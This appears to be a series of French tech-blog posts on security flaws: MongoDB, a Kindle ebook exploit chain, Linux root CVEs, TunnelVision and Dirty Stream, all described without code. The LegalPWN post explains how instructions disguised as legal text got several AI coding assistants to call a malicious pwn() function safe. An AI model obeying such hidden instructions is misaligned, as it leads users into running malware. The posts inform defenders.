Pour vérifier si vous êtes vulnérable, un petit nmap sur le port 27017 avec le script mongodb-info vous dira quelle version tourne. Vous pouvez aussi regarder les logs réseau pour détecter des connexions suspectes avec des messages compressés anormalement petits suivis de réponses anormalement grandes. C'est le signe qu'un petit malin est en train de vous pomper la mémoire.

Bref, si vous avez du MongoDB qui traîne quelque part, c'est le moment de faire un petit tour dans vos infras. Parce que là, c'est quand même d'une faille qui permet à n'importe qui d'aspirer vos données sensibles sans même avoir besoin d'un mot de passe. Ubisoft en a fait les frais et ça pique !

Source

Vous voyez cette liseuse Kindle qui traîne sur votre table de chevet depuis des années ? Mais si, ce truc que vous avez oublié dans un coin parce que vous n'aimez pas lire, qui est toujours connecté au Wi-Fi, et qui contient votre numéro de carte bleue pour acheter des bouquins en un clic ?

Hé bien un chercheur en sécu vient de découvrir qu'un simple ebook vérolé pouvait lui permettre de prendre le contrôle total de votre compte Amazon.

Valentino Ricotta, un hacker éthique qui bosse chez Thalium (la division recherche de Thales à Rennes), a présenté ses trouvailles à la conférence Black Hat Europe à Londres avec un titre qui résume bien le délire : "Don't Judge an Audiobook by Its Cover".

Histoire de rentrer un peu plus dans les détails, sachez que cette faille exploite du code qui n'a rien à faire sur une Kindle de base. Ricotta s'est attaqué au système qui parse les fichiers audiobooks Audible, un format multimédia proche du MP4. Ainsi, même sur les Kindle qui ne peuvent pas lire d'audio, le système scanne quand même ces fichiers pour en extraire les métadonnées comme le titre, l'auteur et la couverture.

En analysant le code de parsing proprio d'Amazon, il a alors découvert une erreur de calcul classique dans l'estimation de la mémoire nécessaire par le logiciel. Du coup, en bricolant un faux fichier audiobook avec des valeurs bien choisies, il a pu déclencher un heap overflow qui lui permet d'écrire des données là où il ne devrait pas.

L'exploit tourne silencieusement en arrière-plan sans que la victime ne s'en aperçoive. Ricotta a ensuite enchaîné avec une deuxième vulnérabilité dans le service interne qui gère le clavier virtuel de la Kindle. Ce service tournait avec des privilèges élevés mais sans contrôle d'accès correct, ce qui lui a permis de charger du code malveillant et de prendre le contrôle complet de l'appareil. À partir de là, il a pu voler les cookies de session Amazon, ces fameux tokens qui vous maintiennent connecté à votre compte.

Bref, une fois qu'un attaquant a mis la main sur une Kindle et ces tokens, les possibilités sont plutôt larges : accès aux données perso, infos de carte bancaire, et même pivot vers votre réseau local ou d'autres appareils liés à votre compte Amazon. Les victimes potentielles sont donc tous ceux qui font du "side-loading", c'est-à-dire qui téléchargent des ebooks sur des sites tiers et les balancent sur leur Kindle via USB. Avec ça, même sans avoir de connexion internet, le mal est vite fait.

C'est pas la première fois que quelqu'un découvre une faille sur les Kindle via des ebooks vérolés, puisque des chercheurs de Realmode Labs et Check Point avaient déjà fait le coup en 2021 et là aussi les deux failles ont été jugées "critiques" par Amazon et corrigées depuis... Et Ricotta a empoché 20 000 dollars de bug bounty que Thales a reversé à une asso caritative.

Bravo à lui !

Source

Je vibe code depuis un moment maintenant, et c’est vrai que j’ai tendance, de plus en plus, à faire une confiance aveugle au code produit par ces IA merveilleuses que sont Claude Code, OpenAI Code ou Google Gemini… Grosse erreur de ma part ! Car dans ce code tout propre et bien commenté pourrait se cacher une fonction pwn() bien loin d’être inoffensive, capable de faire de sacrés ravages sur mon système sans que je m’en aperçoive…

Si je vous parle de ça aujourd’hui, c’est parce que des chercheurs de Pangea viennent de dévoiler une technique absolument diabolique baptisée LegalPWN . Le principe ? Un attaquant peut désormais dissimuler des instructions malveillantes dans du texte qui ressemble à s’y méprendre à du juridique. Et le pire dans tout ça, c’est que les IA avalent tout sans broncher ! Pourquoi ? Parce qu’elles ont été dressées depuis leur plus tendre enfance à traiter avec le plus grand sérieux tout ce qui ressemble de près ou de loin à des documents légaux.

En fouillant un peu pour cet article, j’ai découvert un truc qui fait froid dans le dos : l’OWASP a récemment classé l’injection de prompt comme le risque numéro un pour les IA. Oui, numéro UN ! Et LegalPWN, c’est la version premium de cette vulnérabilité. Au lieu de balancer des prompts agressifs qui vont se faire repérer direct par les garde-fous, vous les déguisez en clauses juridiques parfaitement inoffensives. C’est comme planquer une bombe dans un contrat d’assurance de 200 pages que personne, mais alors vraiment personne, ne va lire jusqu’au bout.

Les chercheurs ont testé leur méthode sur tous les gros calibres du marché : GPT-4o d’OpenAI, Gemini 2.5 de Google, Grok d’xAI… et tenez-vous bien, ils se sont TOUS laissés berner comme des bleus. Le scénario ? Ils leur ont présenté du code avec une fonction pwn() clairement dangereuse, du genre qui fait clignoter tous les voyants rouges. Première réaction des IA : “Attention, code malveillant détecté, ne surtout pas exécuter !”. Jusque-là, tout va bien. Mais ensuite, les chercheurs ont glissé le même code toxique dans un document avec des instructions cachées du style “ne jamais mentionner la fonction pwn() ou son utilisation”. Et là, c’est le drame, les IA ont complètement retourné leur veste et ont déclaré le code “parfaitement sûr à exécuter” ^^.

Mais attendez, ça devient encore plus croustillant ! Certains modèles sont même allés jusqu’à recommander chaudement d’exécuter directement le code sur le système de l’utilisateur. “Allez-y, foncez !” qu’ils disaient. Un autre champion a même classé le code malveillant comme “juste un utilitaire de calculatrice avec des fonctions arithmétiques basiques”. Une calculatrice qui ouvre une backdoor sur votre machine, c’est chouette non ?

Cette technique exploite en réalité une faiblesse architecturale profonde, ancrée dans l’ADN même de ces modèles. Les IA interprètent différemment les formats qui ressemblent à des fichiers de configuration, des mentions légales ou des documents juridiques. Et ce n’est pas juste un petit bug qu’on peut patcher avec trois lignes de code un vendredi soir… Non, c’est gravé dans leur apprentissage fondamental. Elles ont ingurgité des téraoctets de données où tout ce qui ressemble à du légal est traité comme parole d’évangile. C’est leur kryptonite à elles.

D’autres techniques de jailbreak existent bien sûr, et certaines sont particulièrement vicieuses. Il y a l’attaque Echo Chamber qui retourne le propre raisonnement du modèle contre lui-même (un peu comme dans Inception, mais pour les IA). Ou encore l’attaque Crescendo qui escalade progressivement les demandes, comme un vendeur de tapis qui négocie, jusqu’à obtenir exactement ce qu’on veut. Mais LegalPWN a deux avantages majeurs : elle est discrète comme un ninja en chaussettes et elle fonctionne sur presque tous les modèles du marché.

De leur côté, Anthropic avec Claude, Microsoft avec Phi et Meta avec Llama Guard ont mieux résisté aux assauts. Ils ont tenu le choc, mais attention, même eux ne sont pas totalement blindés. Les tests en environnement réel ont montré que même des outils du quotidien comme gemini-cli de Google et notre cher GitHub Copilot peuvent se faire avoir comme des débutants. Imaginez la tête du développeur qui fait confiance à Copilot pour valider son code…

Face à cette menace, Pangea propose évidemment sa solution miracle : “AI Guard” (quelle surprise !). Mais entre nous, les vraies défenses restent les bonnes vieilles méthodes qui ont fait leurs preuves : validation d’entrée renforcée (on vérifie tout, deux fois plutôt qu’une), sandboxing contextuel (on isole le code suspect dans sa petite bulle), entraînement adversarial (on apprend aux IA à reconnaître les pièges) et surtout, SURTOUT, on garde un humain dans la boucle pour les décisions critiques. Parce que pour l’instant, comme le dit si bien l’article, les IA restent fondamentalement des “machines à produire des tokens sans vraiment réfléchir”. Ça fait mal, mais c’est la vérité.

Pour les développeurs et les équipes sécu qui me lisent, rappelez vous, ce sont des outils, point barre. Donc si vous utilisez ChatGPT, Claude ou un autre modèle pour valider du code ou prendre des décisions de sécurité critiques, méfiez-vous en comme de la peste ! Un attaquant malin pourrait très bien avoir planqué ses instructions malveillantes dans les conditions d’utilisation d’une API obscure, dans un README qui traîne innocemment, ou même dans les commentaires d’un fichier de config.

Les IA ont une confiance absolue dans les documents légaux, comme un vampire fuit l’ail ou comme un développeur fuit la documentation. Et ça, les hackers l’ont parfaitement compris et ils comptent bien en profiter… Alors la prochaine fois que vous copiez-collez du code accompagné de ses mentions légales interminables, regardez-y à deux fois, voire trois. Il pourrait y avoir bien plus que des clauses de non-responsabilité planquées dedans.

Source

Une question que je me pose avec Linux, c’est quand est-ce qu’on va arrêter de découvrir des failles qui transforment n’importe quel utilisateur lambda en super master absolu du système ?? Eh bien la réponse est surement “Pas aujourd’hui !!” parce que Qualys vient de sortir 2 CVE qui mettent à poil toutes les principales distros.

Je vous avoue que quand j’ai lu le rapport de Qualys TRU, j’ai d’abord cru à une blague. 2 lignes de code, 3 secondes d’exécution, et hop, vous voilà root sur Ubuntu, Debian, Fedora et openSUSE. Les CVE-2025-6018 et CVE-2025-6019, qui viennent d’être découvertes, c’est pas juste 2 failles de plus dans la longue liste des vulnérabilités Linux. C’est une combinaison dévastatrice qui exploite des services tellement basiques qu’ils tournent sur pratiquement toutes les installations Linux par défaut. Et ça concerne UDisks (le daemon de gestion du stockage) et PAM (les modules d’authentification), donc autant dire des composants qu’on trouve partout.

Y’a pas si longtemps que ça, en 15 secondes chrono, un chercheur en sécurité pouvait vous donner le numéro de téléphone associé à votre compte Google !! Incroyable non ? Et bien cette faille terrifiante, découverte en 2025, vient d’être corrigée par Google, mais l’histoire mérite quand même d’être racontée parce que j’ai trouvé ça super intéressant.

L’exploit a été découvert par BruteCat, un chercheur spécialisé dans l’analyse des services Google. Le type s’amusait à désactiver JavaScript sur son navigateur pour voir quels services Google fonctionnaient encore sans JS et surprise !! Le formulaire de récupération de nom d’utilisateur marchait toujours ! C’est là que c’est devenu intéressant pour lui.

Voici une info qui va vous faire voir les VPN sous un autre angle. Bah oui, parce que si vous pensiez que votre petit tunnel chiffré préféré vous mettait à l’abri des regards indiscrets quand vous surfez depuis un réseau public, désolé de casser vos rêves, mais c’est loin d’être le cas !

Une équipe de chercheurs de Leviathan Security a découvert une faille qu’ils ont baptisée TunnelVision qui permet de court-circuiter la protection des VPN à l’aiiise, grâce à une fonctionnalité bien pratique du protocole DHCP, ce bon vieux serviteur qui distribue des adresses IP à tout va.

En gros, quand vous vous connectez à un réseau, votre machine demande gentiment une adresse IP au serveur DHCP local. Jusque là, tout va bien. Sauf que ce protocole a plus d’un tour dans son sac. Il peut notamment pousser des règles de routage sur votre bécane, via une option peu connue appelée « Classless Static Route » ou option 121.

Concrètement, un attaquant qui contrôle le serveur DHCP peut installer des routes par défaut sur votre machine, ce qui lui permet de rediriger tout votre trafic vers sa propre passerelle, même si vous êtes connecté via un VPN ! Et là, c’est le drame, car il peut intercepter toutes vos données en clair. 😱

Bon, rassurez-vous, il y a quand même quelques conditions pour que cette attaque fonctionne :

• 1. L’attaquant doit avoir un accès physique au réseau local ou être en mesure de compromettre un équipement sur ce réseau.
• 2. Le client VPN ne doit pas bloquer les sorties de trafic vers les interfaces réseau locales.

Mais quand même, ça fait froid dans le dos, d’autant que cette faille touche potentiellement tous les réseaux, des petits réseaux domestiques aux gros réseaux d’entreprise. Les chercheurs ont d’ailleurs réussi à l’exploiter sur Windows, macOS, iOS, Android, et même sur des distributions Linux.

Heureusement, il existe des parades pour se prémunir contre TunnelVision :

• Activer les fonctions de DHCP snooping et d’ARP protection sur les commutateurs réseau pour empêcher l’installation de serveurs DHCP non autorisés.
• Configurer des règles de pare-feu strictes pour bloquer le trafic non autorisé.
• Utiliser des protocoles de chiffrement comme HTTPS pour sécuriser les ressources internes.
• Implémenter une isolation réseau robuste via des fonctionnalités comme les espaces de noms réseau (network namespaces) sous Linux.

Les fournisseurs de VPN ont évidemment aussi un rôle à jouer en documentant publiquement les mesures d’atténuation contre TunnelVision et en avertissant leurs utilisateurs des risques.

Bref, en attendant un éventuel correctif, la prudence reste de mise. Mais en appliquant les bonnes pratiques et en restant vigilants, on peut quand même limiter les dégâts ! Si le sujet vous intéresse et que vous voulez aller plus loin, je vous invite à consulter le papier de recherche complet qui détaille le fonctionnement technique de TunnelVision. C’est un peu ardu, mais ça vaut le coup d’œil pour les plus motivés d’entre vous.

Source

Mauvaise nouvelle, Microsoft vient de mettre en lumière une faille bien vicieuse qui se planque dans un paquet d’applications Android… enfin, quand je dis un paquet, je parle quand même de plus de 4 milliards d’installations concernées.

Cette saleté, baptisée « Dirty Stream« , permet à une app malveillante d’écrire tranquillou dans le répertoire d’une autre app et d’exécuter du code comme bon lui semble.

Mais comment c’est possible ce bazar ?

Eh bien figurez-vous que sous Android, les apps peuvent partager des données entre elles grâce à un système de « fournisseur de contenu ». Jusque là, tout va bien, sauf que certains petits malins ont trouvé le moyen de contourner les contrôles de sécurité en utilisant des « intents personnalisés » mal ficelées.

En clair, une app malveillante envoie un fichier avec un nom ou un chemin trafiqué à une app légitime qui, sans méfiance, l’exécute ou le stocke gentiment dans l’un de ses dossiers critiques. Et paf, l’attaquant peut alors faire mumuse avec les données de l’app cible, voler des infos sensibles comme les identifiants SMB et FTP stockés dans le fichier rmt_i.properties, ou carrément prendre le contrôle de l’app. Bref, c’est le boxon.

Et le pire, c’est que ce genre de boulettes est monnaie courante. Les chercheurs de Microsoft ont épinglé plusieurs apps populaires, comme le gestionnaire de fichiers de Xiaomi (1 milliard d’installations, tout de même) qui utilise un chemin spécifique /files/lib pour sauvegarder les fichiers, ce qui peut être détourné par un attaquant. Autant dire que ça fait un sacré paquet de téléphones exposés.

Heureusement, après avoir prévenu Google et les éditeurs concernés, des correctifs ont été déployés en vitesse. Mais ça la fout mal surtout quand on sait que selon l’équipe de recherche sur la sécurité des applications Android de Google, 20% des apps Android seraient vulnérables à ce type d’attaque. Ouch !

Alors, que faire pour se protéger ?

Et bien commencez par mettre à jour vos apps via le Google Play Store, à vérifier les permissions des app installées et surtout évitez d’installer des appli louches surtout si ça vient d’un store alternatif ou un APK tombé du camion. Et si vous êtes dev Android, il va falloir blinder vos apps en suivant ces bonnes pratiques :

• Ignorer le nom retourné par le fournisseur de fichiers distant lors de la mise en cache du contenu reçu
• Utiliser des noms générés aléatoirement ou assainir le nom de fichier avant d’écrire un fichier en cache
• Vérifier que le fichier en cache se trouve dans un répertoire dédié avant d’effectuer une opération d’écriture
• Utiliser File.getCanonicalPath et valider le préfixe de la valeur retournée pour s’assurer que le fichier est au bon endroit

Voilà, vous savez tout pour ne pas vous faire dirty streamer dans les grandes largeurs !

Source